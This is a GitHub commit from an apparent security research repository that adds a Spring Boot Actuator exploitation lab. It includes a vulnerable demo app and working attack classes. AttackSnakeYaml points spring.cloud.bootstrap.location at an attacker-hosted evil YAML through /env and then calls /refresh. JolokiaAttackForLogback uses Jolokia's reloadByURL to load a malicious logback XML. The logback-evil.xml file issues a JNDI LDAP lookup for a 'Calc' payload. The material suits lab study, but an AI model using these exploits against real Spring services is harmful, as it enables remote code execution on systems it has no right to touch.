Skip to content

Commit 914dc50

Browse files
author
threedr3am
committed
feat:spring-actuator
1 parent 209cd19 commit 914dc50

File tree

49 files changed

+1330
-9
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

49 files changed

+1330
-9
lines changed

‎common/pom.xml‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
<modelVersion>4.0.0</modelVersion>
1111

1212
<artifactId>common</artifactId>
13+
<packaging>jar</packaging>
1314

1415
<dependencies>
1516
<dependency>
@@ -35,12 +36,12 @@
3536
<dependency>
3637
<groupId>org.apache.httpcomponents</groupId>
3738
<artifactId>httpclient</artifactId>
38-
<version>4.5.3</version>
39+
<version>4.5.11</version>
3940
</dependency>
4041
<dependency>
4142
<groupId>org.apache.httpcomponents</groupId>
4243
<artifactId>httpmime</artifactId>
43-
<version>4.5.3</version>
44+
<version>4.5.11</version>
4445
</dependency>
4546
<dependency>
4647
<groupId>org.apache.httpcomponents</groupId>

‎common/src/main/java/com/threedr3am/bug/common/server/HTTPServer.java‎

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,9 @@
2424
*/
2525
public class HTTPServer {
2626

27-
private static final int PORT = 8080;
27+
public static String filePath;
28+
public static int PORT = 8080;
29+
public static String contentType;
2830

2931
public static void main(String[] args) throws IOException {
3032
run(args);
@@ -70,7 +72,7 @@ public void handle(HttpExchange he) throws IOException {
7072
: "?" + he.getRequestURI().getRawQuery()) + " " + he.getProtocol());
7173
if (requestMethod.equalsIgnoreCase("GET")) {
7274
Headers responseHeaders = he.getResponseHeaders();
73-
responseHeaders.set("Content-Type", "application/json");
75+
responseHeaders.set("Content-Type", contentType == null ? "application/json" : contentType);
7476

7577
he.sendResponseHeaders(200, 0);
7678
// parse request
@@ -94,7 +96,7 @@ public void handle(HttpExchange he) throws IOException {
9496
}
9597
System.out.println(stringBuilder.toString());
9698

97-
byte[] bytes = Files.toByteArray(new File(HTTPServer.class.getClassLoader().getResource(clazz).getPath()));
99+
byte[] bytes = Files.toByteArray(new File(filePath == null ? HTTPServer.class.getClassLoader().getResource(clazz).getPath() : filePath));
98100
// send response
99101
responseBody.write(bytes);
100102
responseBody.close();

‎common/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
CalcScriptEngineFactory

‎spring/pom.xml‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@
1010
<modelVersion>4.0.0</modelVersion>
1111

1212
<artifactId>spring</artifactId>
13+
<packaging>pom</packaging>
14+
<modules>
15+
<module>spring-boot-actuator-bug</module>
16+
</modules>
1317

1418

1519
</project>

‎spring/spring-boot-actuator-bug/README.md‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
### Spring Boot和Spring Cloud版本匹配参考
2+
3+
Spring Boot : Spring Cloud
4+
- 1.2.x : Angel版本 (snake-yaml、jolokia pass)
5+
- 1.3.x : Brixton版本 (jolokia pass)
6+
- 1.4.x : Camden版本 (snake-yaml、jolokia pass)
7+
- 1.5.x : Dalston版本、Edgware版本 (snake-yaml、jolokia pass) (need to set management.security.enabled=true)
8+
- 2.0.x : Finchley版本 (hikariCP+h2 pass) (need to set management.security.enabled: true, management.endpoint.restart.enabled: true, management.endpoints.web.exposure.include: env,restart)
9+
- 2.1.x : Greenwich.SR2
10+
11+
https://mvnrepository.com/artifact/org.springframework.cloud/spring-cloud-dependencies

‎spring/spring-boot-actuator-bug/actuator-1.2/pom.xml‎

Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>1.2.8.RELEASE</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>actuator-1.2</artifactId>
13+
14+
<dependencies>
15+
<dependency>
16+
<groupId>org.springframework.boot</groupId>
17+
<artifactId>spring-boot-starter-web</artifactId>
18+
</dependency>
19+
<dependency>
20+
<groupId>org.springframework.boot</groupId>
21+
<artifactId>spring-boot-starter-actuator</artifactId>
22+
</dependency>
23+
24+
<dependency>
25+
<groupId>org.jolokia</groupId>
26+
<artifactId>jolokia-core</artifactId>
27+
<version>1.6.0</version>
28+
</dependency>
29+
30+
<dependency>
31+
<artifactId>common</artifactId>
32+
<groupId>com.xyh</groupId>
33+
<version>1.0-SNAPSHOT</version>
34+
</dependency>
35+
36+
<dependency>
37+
<groupId>org.springframework.cloud</groupId>
38+
<artifactId>spring-cloud-starter-config</artifactId>
39+
</dependency>
40+
</dependencies>
41+
42+
<dependencyManagement>
43+
<dependencies>
44+
<dependency>
45+
<groupId>org.springframework.cloud</groupId>
46+
<artifactId>spring-cloud-dependencies</artifactId>
47+
<version>Angel.SR6</version>
48+
<type>pom</type>
49+
<scope>import</scope>
50+
</dependency>
51+
</dependencies>
52+
</dependencyManagement>
53+
54+
</project>

‎spring/spring-boot-actuator-bug/actuator-1.2/src/main/java/com/threedr3am/bug/spring/actuator/Application.java‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package com.threedr3am.bug.spring.actuator;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
/**
7+
* @author threedr3am
8+
*/
9+
@SpringBootApplication
10+
public class Application {
11+
12+
public static void main(String[] args) {
13+
SpringApplication.run(Application.class, args);
14+
}
15+
}

‎spring/spring-boot-actuator-bug/actuator-1.2/src/main/java/com/threedr3am/bug/spring/actuator/AttackSnakeYaml.java‎

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
package com.threedr3am.bug.spring.actuator;
2+
3+
import java.io.UnsupportedEncodingException;
4+
import org.apache.http.HttpEntity;
5+
import org.apache.http.client.methods.CloseableHttpResponse;
6+
import org.apache.http.client.methods.HttpPost;
7+
import org.apache.http.entity.StringEntity;
8+
import org.apache.http.impl.client.CloseableHttpClient;
9+
import org.apache.http.impl.client.HttpClientBuilder;
10+
import org.apache.http.impl.client.HttpClients;
11+
12+
/**
13+
* copy snake-yaml-evil.yml to http server root（but this springcloud version attack fail）
14+
*
15+
* @author threedr3am
16+
*/
17+
public class AttackSnakeYaml {
18+
19+
public static void main(String[] args) throws UnsupportedEncodingException {
20+
String payload = "spring.cloud.bootstrap.location=http://127.0.0.1:80/snake-yaml-evil.yml";
21+
String target = "http://localhost:8080";
22+
23+
HttpPost httpPost = new HttpPost(target + "/env");
24+
HttpEntity httpEntity = new StringEntity(payload, "application/x-www-form-urlencoded", "utf-8");
25+
httpPost.setEntity(httpEntity);
26+
try {
27+
HttpClientBuilder httpClientBuilder = HttpClients
28+
.custom()
29+
.disableRedirectHandling()
30+
.disableCookieManagement()
31+
;
32+
CloseableHttpClient httpClient = null;
33+
CloseableHttpResponse response = null;
34+
try {
35+
httpClient = httpClientBuilder.build();
36+
response = httpClient.execute(httpPost);
37+
} finally {
38+
response.close();
39+
httpClient.close();
40+
}
41+
} catch (Exception e) {
42+
e.printStackTrace();
43+
}
44+
45+
httpPost = new HttpPost(target + "/refresh");
46+
try {
47+
HttpClientBuilder httpClientBuilder = HttpClients
48+
.custom()
49+
.disableRedirectHandling()
50+
.disableCookieManagement()
51+
;
52+
CloseableHttpClient httpClient = null;
53+
CloseableHttpResponse response = null;
54+
try {
55+
httpClient = httpClientBuilder.build();
56+
response = httpClient.execute(httpPost);
57+
} finally {
58+
response.close();
59+
httpClient.close();
60+
}
61+
} catch (Exception e) {
62+
e.printStackTrace();
63+
}
64+
}
65+
}

‎spring/spring-boot-actuator-bug/actuator-1.2/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.threedr3am.bug.spring.actuator;
2+
3+
import com.threedr3am.bug.common.server.LdapServer;
4+
import org.apache.http.client.methods.CloseableHttpResponse;
5+
import org.apache.http.client.methods.HttpGet;
6+
import org.apache.http.impl.client.CloseableHttpClient;
7+
import org.apache.http.impl.client.HttpClientBuilder;
8+
import org.apache.http.impl.client.HttpClients;
9+
10+
/**
11+
* copy logback-evil.xml to http server root
12+
*
13+
* @author threedr3am
14+
*/
15+
public class JolokiaAttackForLogback {
16+
17+
static {
18+
LdapServer.run();
19+
}
20+
21+
public static void main(String[] args) {
22+
String target = "http://localhost:8080";
23+
String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
24+
HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
25+
try {
26+
HttpClientBuilder httpClientBuilder = HttpClients
27+
.custom()
28+
.disableRedirectHandling()
29+
.disableCookieManagement()
30+
;
31+
32+
CloseableHttpClient httpClient = null;
33+
CloseableHttpResponse response = null;
34+
try {
35+
httpClient = httpClientBuilder.build();
36+
response = httpClient.execute(httpGet);
37+
} finally {
38+
response.close();
39+
httpClient.close();
40+
}
41+
} catch (Exception e) {
42+
e.printStackTrace();
43+
}
44+
45+
}
46+
}

‎spring/spring-boot-actuator-bug/actuator-1.2/src/main/resources/logback-evil.xml‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
<configuration>
2+
<insertFromJNDI env-entry-name="ldap://127.0.0.1:43658/Calc" as="appName" />
3+
</configuration>

0 commit comments

Comments
 (0)